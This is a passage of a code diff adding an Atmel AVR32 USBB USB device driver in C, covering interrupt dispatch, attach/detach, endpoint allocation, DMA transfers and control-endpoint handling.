for bulk/interrupt/isochronous endpoints + * + * This switchs endpoint events to correct sub function. + * + * \return \c 1 if an event about bulk/interrupt/isochronous endpoints has occured, otherwise \c 0. + */ +static bool udd_ep_interrupt(void); + +#endif // (0!=USB_DEVICE_MAX_EP) +//@} + + +//-------------------------------------------------------- +//--- INTERNAL ROUTINES TO MANAGED GLOBAL EVENTS + + +/** + * \internal + * \brief Function called by USBB interrupt to manage USB Device interrupts + * + * USB Device interrupt events are splited in three parts: + * - USB line events (SOF, reset, suspend, resume, wakeup) + * - control endpoint events (setup reception, end of data transfer, underflow, overflow, stall) + * - bulk/interrupt/isochronous endpoints events (end of data transfer) + * + * Note: + * Here, the global interrupt mask is not clear when an USB interrupt is enabled + * because this one can not be occured during the USB ISR (=during INTX is masked). + * See Technical reference $3.8.3 Masking interrupt requests in peripheral modules. + */ +#ifdef OTG +static void udd_interrupt(void) +#else +// Fix the fact that, for some IAR header files, the AVR32_USBB_IRQ_GROUP define +// has been defined as AVR32_USB_IRQ_GROUP instead. +#if __ICCAVR32__ +#if !defined(AVR32_USBB_IRQ_GROUP) +#define AVR32_USBB_IRQ_GROUP AVR32_USB_IRQ_GROUP +#endif +#endif +ISR(udd_interrupt, AVR32_USBB_IRQ_GROUP, UDD_USB_INT_LEVEL) +#endif +{ +#ifdef UDC_SOF_EVENT + if (Is_udd_sof()) { + udd_ack_sof(); + UDC_SOF_EVENT(); + goto udd_interrupt_end; + } +#endif + + if (udd_ctrl_interrupt()) + goto udd_interrupt_end; // Interrupt acked by control endpoint managed + +#if (0!=USB_DEVICE_MAX_EP) + if (udd_ep_interrupt()) + goto udd_interrupt_end; // Interrupt acked by bulk/interrupt/isochronous endpoint managed +#endif + + // USB bus reset detection + if (Is_udd_reset()) { + udd_ack_reset(); + // Abort all jobs on-going +#if (0!=USB_DEVICE_MAX_EP) + udd_ep_job_table_kill(); +#endif + // Reset USB Device Stack Core + udc_reset(); + // Reset endpoint control + udd_reset_ep_ctrl(); + // Reset endpoint control management + udd_ctrl_init(); + goto udd_interrupt_end; + } + + if (Is_udd_suspend_interrupt_enabled() && Is_udd_suspend()) { + otg_unfreeze_clock(); + // The suspend interrupt is automatic acked when a wakeup occur + udd_disable_suspend_interrupt(); + udd_enable_wake_up_interrupt(); + otg_freeze_clock(); // Mandatory to exit of sleep mode after a wakeup event + udd_sleep_mode(false); // Enter in SUSPEND mode +#ifdef UDC_SUSPEND_EVENT + UDC_SUSPEND_EVENT(); +#endif + goto udd_interrupt_end; + } + + if (Is_udd_wake_up_interrupt_enabled() && Is_udd_wake_up()) { + // Ack wakeup interrupt and enable suspend interrupt + otg_unfreeze_clock(); + // Check USB clock ready after suspend and eventually sleep USB clock + while( !Is_clock_usable() ) { + if(Is_udd_suspend()) break; // In case of USB state change in HS + }; + // The wakeup interrupt is automatic acked when a suspend occur + udd_disable_wake_up_interrupt(); + udd_enable_suspend_interrupt(); + udd_sleep_mode(true); // Enter in IDLE mode +#ifdef UDC_RESUME_EVENT + UDC_RESUME_EVENT(); +#endif + goto udd_interrupt_end; + } + + if (Is_udd_vbus_transition()) { + // Ack VBus transition and send status to high level + otg_unfreeze_clock(); + udd_ack_vbus_transition(); + otg_freeze_clock(); +#ifdef UDC_VBUS_EVENT + UDC_VBUS_EVENT(Is_udd_vbus_high()); +#endif + goto udd_interrupt_end; + } +udd_interrupt_end: + otg_data_memory_barrier(); + return; +} + + +bool udd_include_vbus_monitoring(void) +{ + return true; +} + + +void udd_enable(void) +{ + irqflags_t flags; + sysclk_enable_usb(); + + flags = cpu_irq_save(); + + //** Enable USB hardware + otg_disable(); + (void)Is_otg_enabled(); +#ifdef OTG + // Check UID pin state before enter in USB device mode + if (!Is_otg_id_device()) + return FALSE; +#else + // Here, only the Device mode is possible, then link USBB interrupt to UDD interrupt + irq_register_handler(udd_interrupt, AVR32_USBB_IRQ, UDD_USB_INT_LEVEL); + otg_force_device_mode(); +#endif + otg_disable_pad(); + otg_enable_pad(); + otg_enable(); + otg_unfreeze_clock(); + (void)Is_otg_clock_frozen(); +#if UC3A3 + // For parts with high speed feature, the "USABLE" clock is the UTMI clock, + // and the UTMI clock is disabled in suspend mode. Thereby, the utmi clock + // can't be checked when USB line is not attached or in suspend mode +#else + // Check USB clock + while( !Is_clock_usable() ); +#endif + + // Reset internal variables +#if (0!=USB_DEVICE_MAX_EP) + udd_ep_job_table_reset(); +#endif + + // Set the USB speed requested by configuration file +#ifdef USB_DEVICE_LOW_SPEED + udd_low_speed_enable(); +#else + udd_low_speed_disable(); +# ifdef USB_DEVICE_HS_SUPPORT + udd_high_speed_enable(); +# else + udd_high_speed_disable(); +# endif +#endif + udd_enable_vbus_interrupt(); + otg_freeze_clock(); + // Always authorize asynchrone USB interrupts to exit of sleep mode + AVR32_PM.AWEN.usb_waken = 1; + +#ifndef UDD_NO_SLEEP_MGR + // Initialize the sleep mode authorized for the USB suspend mode + udd_b_idle = false; + sleepmgr_lock_mode(USBB_SLEEP_MODE_USB_SUSPEND); +#endif + + cpu_irq_restore(flags); +} + + +void udd_disable(void) +{ + irqflags_t flags; + flags = cpu_irq_save(); + // Disable USB pad + otg_disable(); + otg_disable_pad(); + sysclk_disable_usb(); + udd_sleep_mode(false); +#ifndef UDD_NO_SLEEP_MGR + sleepmgr_unlock_mode(USBB_SLEEP_MODE_USB_SUSPEND); +#endif + cpu_irq_restore(flags); +} + + +void udd_attach(void) +{ + irqflags_t flags; + flags = cpu_irq_save(); + + // At startup the USB bus state is unknown, + // therefore the state is considered IDLE to not miss any USB event + udd_sleep_mode(true); + otg_unfreeze_clock(); + + // This section of clock check can be improved with a chek of + // USB clock source via sysclk() +#if UC3A3 + // For parts with high speed feature, the "USABLE" clock is the UTMI clock, + // and the UTMI clock is disabled in suspend mode. Thereby, the utmi clock + // can't be checked when USB line is not attached or in suspend mode + // But it is not a issue, because the clock source is the OSC +#else + // Check USB clock because the source can be a PLL + while( !Is_clock_usable() ); +#endif + // Authorize attach if VBus is present + udd_attach_device(); + + // (RESET_AND_WAKEUP) + // After the attach and the first USB suspend, the following USB Reset time can be inferior to CPU restart clock time. + // Thus, the USB Reset state is not detected and endpoint control is not allocated + // In this case, a Reset is do automatically after attach. + udc_reset(); // Reset USB Device Stack Core + udd_reset_ep_ctrl(); // Reset endpoint control + udd_ctrl_init(); // Reset endpoint control management + + // Enable USB line events + udd_enable_reset_interrupt(); + udd_enable_suspend_interrupt(); + udd_enable_wake_up_interrupt(); +#ifdef UDC_SOF_EVENT + udd_enable_sof_interrupt(); +#endif + // Reset following interupts flag + udd_ack_reset(); + udd_ack_sof(); + + // The first suspend interrupt must be forced +#if UC3A3 + // With UTMI, the first suspend is detected but must be cleared to reoccur interrupt + udd_ack_suspend(); +#else + // The first suspend interrupt is not detected else raise it + udd_raise_suspend(); +#endif + udd_ack_wake_up(); + otg_freeze_clock(); + cpu_irq_restore(flags); +} + + +void udd_detach(void) +{ + otg_unfreeze_clock(); + // Detach device from the bus + udd_detach_device(); + udd_sleep_mode(false); +} + + +bool udd_is_high_speed(void) +{ +#ifdef USB_DEVICE_HS_SUPPORT + return !Is_udd_full_speed_mode(); +#else + return false; +#endif +} + + +void udd_set_address(uint8_t address) +{ + udd_disable_address(); + udd_configure_address(address); + udd_enable_address(); +} + + +uint8_t udd_getaddress(void) +{ + return udd_get_configured_address(); +} + + +uint16_t udd_get_frame_number(void) +{ + return udd_frame_number(); +} + + +void udd_send_wake_up(void) +{ +#ifndef UDD_NO_SLEEP_MGR + if (!udd_b_idle) +#endif + { + udd_sleep_mode(true); // Enter in IDLE mode + otg_unfreeze_clock(); + udd_initiate_remote_wake_up(); + } +} + + +void udd_set_setup_payload( uint8_t *payload, uint16_t payload_size ) +{ + udd_g_ctrlreq.payload = payload; + udd_g_ctrlreq.payload_size = payload_size; +} + + +#if (0!=USB_DEVICE_MAX_EP) +bool udd_ep_alloc(udd_ep_id_t ep, uint8_t bmAttributes, + uint16_t MaxEndpointSize) +{ + bool b_dir_in; + uint16_t ep_allocated; + uint8_t bank, i; + + b_dir_in = ep & USB_EP_DIR_IN; + ep = ep & USB_EP_ADDR_MASK; + + if (ep > USB_DEVICE_MAX_EP) + return false; + if (Is_udd_endpoint_enabled(ep)) + return false; + + // Bank choise + switch(bmAttributes&USB_EP_TYPE_MASK) { + case USB_EP_TYPE_ISOCHRONOUS: + bank = UDD_ISOCHRONOUS_NB_BANK; + break; + case USB_EP_TYPE_INTERRUPT: + bank = UDD_INTERRUPT_NB_BANK; + break; + case USB_EP_TYPE_BULK: + bank = UDD_BULK_NB_BANK; + break; + default: + Assert(false); + return false; + } + switch(bank) { + case 1: + bank = AVR32_USBB_UECFG0_EPBK_SINGLE; + break; + case 2: + bank = AVR32_USBB_UECFG0_EPBK_DOUBLE; + break; + case 3: + bank = AVR32_USBB_UECFG0_EPBK_TRIPLE; + break; + } + + // Check if endpoint size is 8,16,32,64,128,256,512 or 1023 + Assert(MaxEndpointSize < 1024); + Assert((MaxEndpointSize == 1023) || !(MaxEndpointSize & (MaxEndpointSize - 1))); + Assert(MaxEndpointSize >= 8); + + // Set configuration of new endpoint + udd_configure_endpoint(ep, bmAttributes, (b_dir_in ? 1 : 0), + MaxEndpointSize, bank); + ep_allocated = 1 << ep; + + // Unalloc endpoints superior + for (i = USB_DEVICE_MAX_EP; i > ep; i--) { + if (Is_udd_endpoint_enabled(i)) { + ep_allocated |= 1 << i; + udd_disable_endpoint(i); + udd_unallocate_memory(i); + } + } + + // Realloc/Enable endpoints + for (i = ep; i <= USB_DEVICE_MAX_EP; i++) { + if (ep_allocated & (1 << i)) { + udd_allocate_memory(i); + udd_enable_endpoint(i); + if (!Is_udd_endpoint_configured(i)) + return false; + } + } + return true; +} + + +void udd_ep_free(udd_ep_id_t ep) +{ + udd_disable_endpoint(ep & USB_EP_ADDR_MASK); + udd_unallocate_memory(ep & USB_EP_ADDR_MASK); + udd_ep_abort_job(ep); +} + + +bool udd_ep_is_halted(udd_ep_id_t ep) +{ + return Is_udd_endpoint_stall_requested(ep & USB_EP_ADDR_MASK); +} + + +bool udd_ep_set_halt(udd_ep_id_t ep) +{ + uint8_t index = ep & USB_EP_ADDR_MASK; + + if (USB_DEVICE_MAX_EP < index) + return false; + if (Is_udd_bank_interrupt_enabled(index)) { + // Wait end of transfer (= no busy bank) before stall endpoint + udd_ep_job[index - 1].stall_requested = true; + } else { + // Stall endpoint + udd_enable_stall_handshake(index); + udd_reset_data_toggle(index); + } + udd_ep_abort_job(ep); + return true; +} + + +bool udd_ep_clear_halt(udd_ep_id_t ep) +{ + udd_ep_job_t *ptr_job; + + ep &= USB_EP_ADDR_MASK; + if (USB_DEVICE_MAX_EP < ep) + return false; + ptr_job = &udd_ep_job[ep - 1]; + + if (Is_udd_endpoint_stall_requested(ep) // Endpoint stalled + || ptr_job->stall_requested) { // Endpoint stall is requested + // Remove request to stall + ptr_job->stall_requested = false; + // Remove stall + udd_disable_stall_handshake(ep); + // If a job is register on clear halt action + // then execute callback + if (ptr_job->busy == true) { + ptr_job->busy = false; + ptr_job->call_nohalt(); + } + } + return true; +} + + +bool udd_ep_run(udd_ep_id_t ep, bool b_shortpacket, + uint8_t * buf, iram_size_t buf_size, + udd_callback_trans_t callback) +{ + bool b_dir_in; + uint32_t udd_dma_ctrl = 0; + udd_ep_job_t *ptr_job; + irqflags_t flags; + + b_dir_in = (USB_EP_DIR_IN == (ep & USB_EP_DIR_IN)); + ep &= USB_EP_ADDR_MASK; + if (USB_DEVICE_MAX_EP < ep) + return false; + + // Get job about endpoint + ptr_job = &udd_ep_job[ep - 1]; + + if ((!Is_udd_endpoint_enabled(ep)) + || Is_udd_endpoint_stall_requested(ep) + || ptr_job->stall_requested) + return false; // Endpoint is halted + + flags = cpu_irq_save(); + if (ptr_job->busy == true) { + cpu_irq_restore(flags); + return false; // Job already on going + } + ptr_job->busy = true; + cpu_irq_restore(flags); + + // The USBB supports a maximum transfer size of 64KB + if (0x10000 <= buf_size) { + // Transfer size = 64KB + ptr_job->buf_size = 0x10000; + buf_size = 0; + } else { + ptr_job->buf_size = buf_size; + if (b_dir_in && (0 != buf_size % udd_get_endpoint_size(ep))) { + // Force short packet option to send a shortpacket on IN, + // else the DMA transfer is accepted and interrupt DMA valid but nothing is sent. + b_shortpacket = true; + } + } + ptr_job->buf = buf; + ptr_job->call_trans = callback; + + // Start USB DMA to fill or read fifo of the selected endpoint + udd_endpoint_dma_set_addr(ep, (U32) buf); + if (b_shortpacket) { + if (b_dir_in) { + udd_dma_ctrl = AVR32_USBB_UDDMA1_CONTROL_DMAEND_EN_MASK; + } else { + udd_dma_ctrl = AVR32_USBB_UDDMA1_CONTROL_EOT_IRQ_EN_MASK + | + AVR32_USBB_UDDMA1_CONTROL_BUFF_CLOSE_IN_EN_MASK; + } + } + udd_dma_ctrl |= (buf_size << + AVR32_USBB_UDDMA1_CONTROL_CH_BYTE_LENGTH_OFFSET) + & AVR32_USBB_UDDMA1_CONTROL_CH_BYTE_LENGTH_MASK; + udd_dma_ctrl |= AVR32_USBB_UDDMA1_CONTROL_EOBUFF_IRQ_EN_MASK | + AVR32_USBB_UDDMA1_CONTROL_CH_EN_MASK; + udd_enable_endpoint_bank_autoswitch(ep); + udd_endpoint_dma_set_control(ep, udd_dma_ctrl); + flags = cpu_irq_save(); + udd_enable_endpoint_dma_interrupt(ep); + cpu_irq_restore(flags); + + return true; +} + + +void udd_ep_abort(udd_ep_id_t ep) +{ + // Stop DMA transfer + udd_endpoint_dma_set_control((ep & USB_EP_ADDR_MASK), 0); + udd_ep_abort_job(ep); +} + + +bool udd_ep_wait_stall_clear(udd_ep_id_t ep, + udd_callback_halt_cleared_t callback) +{ + udd_ep_job_t *ptr_job; + + ep &= USB_EP_ADDR_MASK; + if (USB_DEVICE_MAX_EP < ep) + return false; + ptr_job = &udd_ep_job[ep - 1]; + + if (!Is_udd_endpoint_enabled(ep)) + return false; // Endpoint not enabled + + // Wait clear halt endpoint + if (ptr_job->busy == true) + return false; // Job already on going + + if (Is_udd_endpoint_stall_requested(ep) + || ptr_job->stall_requested) { + // Endpoint halted then registes the callback + ptr_job->busy = true; + ptr_job->call_nohalt = callback; + } else { + // Enpoint not halted then call directly callback + callback(); + } + return true; +} +#endif // (0!=USB_DEVICE_MAX_EP) + + +#ifdef USB_DEVICE_HS_SUPPORT + +void udd_test_mode_j(void) +{ + udd_enable_hs_test_mode(); + udd_enable_hs_test_mode_j(); +} + + +void udd_test_mode_k(void) +{ + udd_enable_hs_test_mode(); + udd_enable_hs_test_mode_k(); +} + + +void udd_test_mode_se0_nak(void) +{ + udd_enable_hs_test_mode(); +} + + +void udd_test_mode_packet(void) +{ + uint8_t i; + uint8_t *ptr_dest; + const uint8_t *ptr_src; + irqflags_t flags; + + const uint8_t test_packet[] = { + // 00000000 * 9 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + // 01010101 * 8 + 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, + // 01110111 * 8 + 0xEE, 0xEE, 0xEE, 0xEE, 0xEE, 0xEE, 0xEE, 0xEE, + // 0, {111111S * 15}, 111111 + 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, + 0xFF, 0xFF, + // S, 111111S, {0111111S * 7} + 0x7F, 0xBF, 0xDF, 0xEF, 0xF7, 0xFB, 0xFD, + // 00111111, {S0111111 * 9}, S0 + 0xFC, 0x7E, 0xBF, 0xDF, 0xEF, 0xF7, 0xFB, 0xFD, 0x7E + }; + + // Reconfigure control endpoint to bulk IN endpoint + udd_disable_endpoint(0); + udd_configure_endpoint(0, USB_EP_TYPE_BULK, 1, // IN + 64, AVR32_USBB_UECFG0_EPBK_SINGLE); + udd_allocate_memory(0); + udd_enable_endpoint(0); + + udd_enable_hs_test_mode(); + udd_enable_hs_test_mode_packet(); + + // Send packet on endpoint 0 + ptr_dest = (uint8_t *) & udd_get_endpoint_fifo_access(0, 8); + ptr_src = test_packet; + for (i = 0; i < sizeof(test_packet); i++) { + *ptr_dest++ = *ptr_src++; + } + flags = cpu_irq_save(); + udd_enable_in_send_interrupt(0); + cpu_irq_restore(flags); + udd_ack_in_send(0); +} +#endif // USB_DEVICE_HS_SUPPORT + + + +//-------------------------------------------------------- +//--- INTERNAL ROUTINES TO MANAGED THE CONTROL ENDPOINT + +static void udd_reset_ep_ctrl(void) +{ + irqflags_t flags; + // Reset USB address to 0 + udd_configure_address(0); + udd_enable_address(); + // Alloc and configure control endpoint + udd_configure_endpoint(0, + USB_EP_TYPE_CONTROL, + 0, + USB_DEVICE_EP_CTRL_SIZE, AVR32_USBB_UECFG0_EPBK_SINGLE); + + udd_allocate_memory(0); + udd_enable_endpoint(0); + flags = cpu_irq_save(); + udd_enable_setup_received_interrupt(0); + udd_enable_out_received_interrupt(0); + udd_enable_endpoint_interrupt(0); + cpu_irq_restore(flags); +} + +static void udd_ctrl_init(void) +{ + irqflags_t flags; + flags = cpu_irq_save(); + // In case of abort of IN Data Phase: + // No need to abort IN transfer (rise TXINI), + // because it is automatically done by hardware when a Setup packet is received. + // But the interrupt must be disabled to don't generate interrupt TXINI + // after SETUP reception. + udd_disable_in_send_interrupt(0); + cpu_irq_restore(flags); + // In case of OUT ZLP event is no processed before Setup event occurs + udd_ack_out_received(0); + + udd_g_ctrlreq.callback = NULL; + udd_g_ctrlreq.over_under_run = NULL; + udd_g_ctrlreq.payload_size = 0; + udd_ep_control_state = UDD_EPCTRL_SETUP; +} + + +static void udd_ctrl_setup_received(void) +{ + irqflags_t flags; + uint8_t i; + + if (UDD_EPCTRL_SETUP != udd_ep_control_state) { + // May be a hidden DATA or ZLP phase + // or protocol abort + udd_ctrl_endofrequest(); + // Reinitializes control endpoint management + udd_ctrl_init(); + } + // Fill setup request structure + if (8 != udd_byte_count(0)) { + udd_ctrl_stall_data(); + udd_ack_setup_received(0); + return; // Error data number doesn't correspond to SETUP packet + } + uint32_t *ptr = (uint32_t *) & udd_get_endpoint_fifo_access(0, 32); + for (i = 0; i < 8 / 4; i++) { + ((uint32_t *) & udd_g_ctrlreq.req)[i] = *ptr++; + } + // Manage LSB/MSB to fit with CPU usage + udd_g_ctrlreq.req.wValue = le16_to_cpu(udd_g_ctrlreq.req.wValue); + udd_g_ctrlreq.req.wIndex = le16_to_cpu(udd_g_ctrlreq.req.wIndex); + udd_g_ctrlreq.req.wLength = le16_to_cpu(udd_g_ctrlreq.req.wLength); + + // Decode setup request + if (udc_process_setup() == false) { + // Setup request unknow then stall it + udd_ctrl_stall_data(); + udd_ack_setup_received(0); + return; + } + udd_ack_setup_received(0); + + if (Udd_setup_is_in()) { + // Compute if an IN ZLP must be send after IN data + udd_ctrl_payload_need_in_zlp = + ((udd_g_ctrlreq.payload_size % + USB_DEVICE_EP_CTRL_SIZE) == 0); + // IN data phase requested + udd_ctrl_prev_payload_nb_trans = 0; + udd_ctrl_payload_nb_trans = 0; + udd_ep_control_state = UDD_EPCTRL_DATA_IN; + udd_ctrl_in_sent(); // Send first data transfer + } else { + if (0 == udd_g_ctrlreq.req.wLength) { + // No data phase requested + // Send IN ZLP to ACK setup request + udd_ctrl_send_zlp_in(); + return; + } + // OUT data phase requested + udd_ctrl_prev_payload_nb_trans = 0; + udd_ctrl_payload_nb_trans = 0; + udd_ep_control_state = UDD_EPCTRL_DATA_OUT; + // To detect a protocol error, enable nak interrupt on data IN phase + udd_ack_nak_in(0); + flags = cpu_irq_save(); + udd_enable_nak_in_interrupt(0); + cpu_irq_restore(flags); + } +} + + +static void udd_ctrl_in_sent(void) +{ + uint16_t nb_remain; + uint8_t i; + uint8_t *ptr_dest, *ptr_src; + irqflags_t flags; + + flags = cpu_irq_save(); + udd_disable_in_send_interrupt(0); + cpu_irq_restore(flags); + + if (UDD_EPCTRL_HANDSHAKE_WAIT_IN_ZLP == udd_ep_control_state) { + // ZLP on IN is sent, then valid end of setup request + udd_ctrl_endofrequest(); + // Reinitializes control endpoint management + udd_ctrl_init(); + return; + } + Assert(udd_ep_control_state == UDD_EPCTRL_DATA_IN); + + nb_remain = udd_g_ctrlreq.payload_size - udd_ctrl_payload_nb_trans; + if (0 == nb_remain) { + // All content of current buffer payload are sent + if (!udd_ctrl_payload_need_in_zlp) { + // It is the end of data phase, because the last data packet is a short packet + // then generate an OUT ZLP for handshake phase. + udd_ctrl_send_zlp_out(); + return; + } + if ((udd_g_ctrlreq.req.wLength > (udd_ctrl_prev_payload_nb_trans + + + udd_g_ctrlreq. + payload_size)) + || (!udd_g_ctrlreq.over_under_run) + || (!udd_g_ctrlreq.over_under_run())) { + // Underrun or data packet complette than send zlp on IN (note don't change DataToggle) + udd_ctrl_payload_need_in_zlp = false; + // nb_remain==0 allows to send a IN ZLP + } else { + // A new payload buffer is given + // Update number of total data sending by previous playlaod buffer + udd_ctrl_prev_payload_nb_trans += + udd_ctrl_payload_nb_trans; + // Update maangement of current playoad transfer + udd_ctrl_payload_nb_trans = 0; + nb_remain = udd_g_ctrlreq.payload_size; + // Compute if an IN ZLP must be send after IN data + udd_ctrl_payload_need_in_zlp = + ((udd_g_ctrlreq.payload_size % + USB_DEVICE_EP_CTRL_SIZE) + == 0); + } + } + // Continue transfer and send next data + if (nb_remain > USB_DEVICE_EP_CTRL_SIZE) { + nb_remain = USB_DEVICE_EP_CTRL_SIZE; + } + // Fill buffer of endpoint control + ptr_dest = (uint8_t *) & udd_get_endpoint_fifo_access(0, 8); + ptr_src = udd_g_ctrlreq.payload + udd_ctrl_payload_nb_trans; + //** Critical section + // Only in case of DATA IN phase abort without USB Reset signal after. + // The IN data don't must be writed in endpoint 0 DPRAM during + // a next setup reception in same endpoint 0 DPRAM. + // Thereby, an OUT ZLP reception must check before IN data write + // and if no OUT ZLP is recevied the data must be written quickly (800us) + // before an eventually ZLP OUT and SETUP reception + flags = cpu_irq_save(); + if (Is_udd_out_received(0)) { + // IN DATA phase aborted by OUT ZLP + cpu_irq_restore(flags); + udd_ep_control_state = UDD_EPCTRL_HANDSHAKE_WAIT_OUT_ZLP; + return; // Exit of IN DATA phase + } + // Write quickly the IN data + for (i = 0; i < nb_remain; i++) { + *ptr_dest++ = *ptr_src++; + } + udd_ctrl_payload_nb_trans += nb_remain; + + // Validate and send the data available in the control endpoint buffer + udd_ack_in_send(0); + udd_enable_in_send_interrupt(0); + // In case of abort of DATA IN phase, no need to enable nak OUT interrupt + // because OUT endpoint is already free and ZLP OUT accepted. + cpu_irq_restore(flags); +} + + +static void udd_ctrl_out_received(void) +{ + irqflags_t flags; + uint8_t i; + uint16_t nb_data; + + if (UDD_EPCTRL_DATA_OUT != udd_ep_control_state) { + if ((UDD_EPCTRL_DATA_IN == udd_ep_control_state) + || (UDD_EPCTRL_HANDSHAKE_WAIT_OUT_ZLP == + udd_ep_control_state)) { + // End of SETUP request: + // - Data IN Phase aborted, + // - or last Data IN Phase hidden by ZLP OUT sending quiclky, + // - or ZLP OUT received normaly. + udd_ctrl_endofrequest(); + } else { + // Protocol error during SETUP request + udd_ctrl_stall_data(); + } + // Reinitializes control endpoint management + udd_ctrl_init(); + return; + } + // Read data received during OUT phase + nb_data = udd_byte_count(0); + if (udd_g_ctrlreq.payload_size < (udd_ctrl_payload_nb_trans + nb_data)) { + // Payload buffer too small + nb_data = udd_g_ctrlreq.payload_size - + udd_ctrl_payload_nb_trans; + } + uint8_t *ptr_src = (uint8_t *) & udd_get_endpoint_fifo_access(0, 8); + uint8_t *ptr_dest = udd_g_ctrlreq.payload + udd_ctrl_payload_nb_trans; + for (i = 0; i < nb_data; i++) { + *ptr_dest++ = *ptr_src++; + } + udd_ctrl_payload_nb_trans += nb_data; + + if ((USB_DEVICE_EP_CTRL_SIZE != nb_data) + || (udd_g_ctrlreq.req.wLength <= + (udd_ctrl_prev_payload_nb_trans + + udd_ctrl_payload_nb_trans))) + { + // End of reception because it is a short packet + // Before send ZLP, call intermediat calback + // in case of data receiv generate a stall + udd_g_ctrlreq.payload_size = udd_ctrl_payload_nb_trans; + if (NULL != udd_g_ctrlreq.over_under_run) { + if (!udd_g_ctrlreq.over_under_run()) { + // Stall ZLP + udd_ctrl_stall_data(); + // Ack reception of OUT to replace NAK by a STALL + udd_ack_out_received(0); + return; + } + } + // Send IN ZLP to ACK setup request + udd_ack_out_received(0); + udd_ctrl_send_zlp_in(); + return; + } + + if (udd_g_ctrlreq.payload_size == udd_ctrl_payload_nb_trans) { + // Overrun then request a new payload buffer + if (!udd_g_ctrlreq.over_under_run) { + // No callback availabled to request a new payload buffer + udd_ctrl_stall_data(); + // Ack reception of OUT to replace NAK by a STALL + udd_ack_out_received(0); + return; + } + if (!udd_g_ctrlreq.over_under_run()) { + // No new payload buffer delivered + udd_ctrl_stall_data(); + // Ack reception of OUT to replace NAK by a STALL + udd_ack_out_received(0); + return; + } + // New payload buffer available + // Update number of total data received + udd_ctrl_prev_payload_nb_trans += udd_ctrl_payload_nb_trans; + // Reinit reception on payload buffer + udd_ctrl_payload_nb_trans = 0; + } + // Free buffer of control endpoint to authorize next reception + udd_ack_out_received(0); + // To detect a protocol error, enable nak interrupt on data IN phase + udd_ack_nak_in(0); + flags = cpu_irq_save(); + udd_enable_nak_in_interrupt(0); + cpu_irq_restore(flags); +} + + +static void udd_ctrl_underflow(void) +{ + if (Is_udd_out_received(0)) + return; // underflow ignored if OUT data is received + + if (UDD_EPCTRL_DATA_OUT == udd_ep_control_state) { + // Host want to stop OUT transaction + // then stop to wait OUT data phase and wait IN ZLP handshake + udd_ctrl_send_zlp_in(); + } else if (UDD_EPCTRL_HANDSHAKE_WAIT_OUT_ZLP == udd_ep_control_state) { + // A OUT handshake is waiting by device, + // but host want extra IN data then stall extra IN data + udd_enable_stall_handshake(0); + } +} + + +static void udd_ctrl_overflow(void) +{ + if (Is_udd_in_send(0)) + return; // overflow ignored if IN data is received + + // The case of UDD_EPCTRL_DATA_IN is not managed + // because the OUT endpoint is already free and OUT ZLP accepted + + if (UDD_EPCTRL_HANDSHAKE_WAIT_IN_ZLP == udd_ep_control_state) { + // A IN handshake is waiting by device, + // but host want extra OUT data then stall extra OUT data + udd_enable_stall_handshake(0); + } +} + + +static void udd_ctrl_stall_data(void) +{ + // Stall all packets on IN & OUT control endpoint + udd_ep_control_state = UDD_EPCTRL_STALL_REQ; + udd_enable_stall_handshake(0); +} + + +static void udd_ctrl_send_zlp_in(void) +{ + irqflags_t flags; + + udd_ep_control_state = UDD_EPCTRL_HANDSHAKE_WAIT_IN_ZLP; + // Validate and send empty IN packet on control endpoint + flags = cpu_irq_save(); + // Send ZLP on IN endpoint + udd_ack_in_send(0); + udd_enable_in_send_interrupt(0); + // To detect a protocol error, enable nak interrupt on data OUT phase + udd_ack_nak_out(0); + udd_enable_nak_out_interrupt(0); + cpu_irq_restore(flags); +} + + +static void udd_ctrl_send_zlp_out(void) +{ + irqflags_t flags; + + udd_ep_control_state = UDD_EPCTRL_HANDSHAKE_WAIT_OUT_ZLP; + // No action is necessary to accept OUT ZLP + // because the buffer of control endpoint is already free + + // To detect a protocol error, enable nak interrupt on data IN phase + flags = cpu_irq_save(); + udd_ack_nak_in(0); + udd_enable_nak_in_interrupt(0); + cpu_irq_restore(flags); +} + + +static void udd_ctrl_endofrequest(void) +{ + // If a callback is registered then call it + if (udd_g_ctrlreq.callback) { + udd_g_ctrlreq.callback(); + } +} + + +static bool udd_ctrl_interrupt(void) +{ + + if (!Is_udd_endpoint_interrupt(0)) + return false; // No interrupt events on control endpoint + + // By default disable overflow and underflow interrupt + udd_disable_nak_in_interrupt(0); + udd_disable_nak_out_interrupt(0); + + + // Search event on control endpoint + if (Is_udd_setup_received(0)) { + // SETUP packet received + udd_ctrl_setup_received(); + return true; + } + if (Is_udd_in_send(0) && Is_udd_in_send_interrupt_enabled(0)) { + // IN packet sent + udd_ctrl_in_sent(); + return true; + } + if (Is_udd_out_received(0)) { + // OUT packet received + udd_ctrl_out_received(); + return true; + } + if (Is_udd_nak_out(0)) { + // Overflow on OUT packet + udd_ack_nak_out(0); + udd_ctrl_overflow(); + return true; + } + if (Is_udd_nak_in(0)) { + // Underflow on IN packet + udd_ack_nak_in(0); + udd_ctrl_underflow(); + return true; + } + return false; +} + + +//-------------------------------------------------------- +//--- INTERNAL ROUTINES TO MANAGED THE BULK/INTERRUPT/ISOCHRONOUS ENDPOINTS + +#if (0!=USB_DEVICE_MAX_EP) + +static void udd_ep_job_table_reset(void) +{ + uint8_t i; + for (i = 0; i < USB_DEVICE_MAX_EP; i++) { + udd_ep_job[i].busy = false; + udd_ep_job[i].stall_requested = false; + } +} + + +static void udd_ep_job_table_kill(void) +{ + uint8_t i; + // For each endpoint, kill job + for (i = 0; i < USB_DEVICE_MAX_EP; i++) { + udd_ep_finish_job(&udd_ep_job[i], true); + } +} + + +static void udd_ep_abort_job(udd_ep_id_t ep) +{ + ep &= USB_EP_ADDR_MASK; + // Abort job on endpoint + udd_ep_finish_job(&udd_ep_job[ep - 1], true); +} + + +static void udd_ep_finish_job(udd_ep_job_t * ptr_job, bool b_abort) +{ + if (ptr_job->busy == false) + return; // No on-going job + ptr_job->busy = false; + if (NULL == ptr_job->call_trans) + return; // No callback linked to job + ptr_job->call_trans((b_abort) ? UDD_EP_TRANSFER_ABORT : + UDD_EP_TRANSFER_OK, ptr_job->buf_size); +} + + +static bool udd_ep_interrupt(void) +{ + udd_ep_id_t ep; + udd_ep_job_t *ptr_job; + + // For each endpoint different of control endpoint (0) + for (ep = 1; ep <= USB_DEVICE_MAX_EP; ep++) { + // Check DMA event + if (Is_udd_endpoint_dma_interrupt_enabled(ep) 